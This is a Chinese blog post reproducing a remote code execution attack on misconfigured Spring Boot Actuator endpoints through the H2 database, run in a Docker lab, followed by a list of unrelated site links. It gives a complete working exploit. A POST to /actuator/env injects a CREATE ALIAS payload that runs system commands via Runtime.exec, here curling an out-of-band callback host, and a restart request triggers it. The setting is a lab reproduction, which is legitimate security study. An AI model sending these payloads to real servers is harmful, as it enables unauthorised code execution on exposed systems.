Spring Boot Actuator H2 RCE复现
时间:2022-07-22
本文章向大家介绍Spring Boot Actuator H2 RCE复现,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
0x00 前言
Spring Boot框架是最流行的基于Java的微服务框架之一,可帮助开发人员快速轻松地部署Java应用程序,加快开发过程。当Spring Boot Actuator配置不当可能造成多种RCE,因为Spring Boot 2.x默认使用HikariCP数据库连接池,所以可通过H2数据库实现RCE。
0x01 环境搭建
(1) 克隆github上的项目
git clone https://github.com/spaceraccoon/spring-boot-actuator-h2-rce.git
(2) 使用docker启动环境
先cd进入spring-boot-actuator-h2-rce目录然后执行以下命令
docker build -t spaceraccoon/spring-boot-rce-lab .
docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab
(3) 访问:http://192.168.222.143:8080/actuator
0x02 漏洞复现
(1)发送如下POST包配置spring.datasource.hikari.connection-test-query的值
POST /actuator/env HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 393
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl xfg7urtufj4yfu1t75ztl7q1xs3ir7.burpcollaborator.net');"}
(2)查看/actuator/env
(3)向端点 /actuator/restart 发送POST请求,重启应用
POST /actuator/restart HTTP/1.1
Host: 192.168.222.143:8080
Content-Type: application/json
Content-Length: 2
{}
(4) 查看dnslog可以看到成功执行命令收到请求
- android自定义view实现公章效果
- ios app url scheme跳转到淘宝商品详情页 唤醒app
- ThreadPoolExecutor运行机制
- Spring Cloud构建微服务架构:服务容错保护(Hystrix依赖隔离)【Dalston版】
- UIPickView的简单使用
- java开发中几种常见的线程池
- 传统多线程之前如何共享数据
- Spring Cloud构建微服务架构:服务容错保护(Hystrix断路器)【Dalston版】
- 调整渐变下降的学习率
- 多线程之传统多线程
- ios 常用的正则表达式(手机号邮箱md5加密验证空字符串等)
- Spring Cloud构建微服务架构:Hystrix监控面板【Dalston版】
- 云原生应用的12要素
- Universal-Image-Loader源码分析,及常用的缓存策略
- java教程
- Java快速入门
- Java 开发环境配置
- Java基本语法
- Java 对象和类
- Java 基本数据类型
- Java 变量类型
- Java 修饰符
- Java 运算符
- Java 循环结构
- Java 分支结构
- Java Number类
- Java Character类
- Java String类
- Java StringBuffer和StringBuilder类
- Java 数组
- Java 日期时间
- Java 正则表达式
- Java 方法
- Java 流(Stream)、文件(File)和IO
- Java 异常处理
- Java 继承
- Java 重写(Override)与重载(Overload)
- Java 多态
- Java 抽象类
- Java 封装
- Java 接口
- Java 包(package)
- Java 数据结构
- Java 集合框架
- Java 泛型
- Java 序列化
- Java 网络编程
- Java 发送邮件
- Java 多线程编程
- Java Applet基础
- Java 文档注释
- Python字符串函数strip()原理及用法详解
- python中取绝对值简单方法总结
- Linux中将txt导入到mysql的办法教程
- 深入了解NumPy 高级索引
- CentOS7设置jar应用程序开机启动的办法
- linux系统 java环境变量的配置办法
- 在Linux中怎么轻松删除源安装的软件包
- Linux中selinux基础配置教程详解
- 怎么禁用 Ubuntu 服务器中终端欢迎消息中的广告
- Laravel5.1 框架响应基本用法实例分析
- 在Linux中怎么一次重命名多个文件详解
- python调用私有属性的方法总结
- PHP+MySQL实现在线测试答题实例
- Python异常处理机制结构实例解析
- PHP字符串与数组处理函数用法小结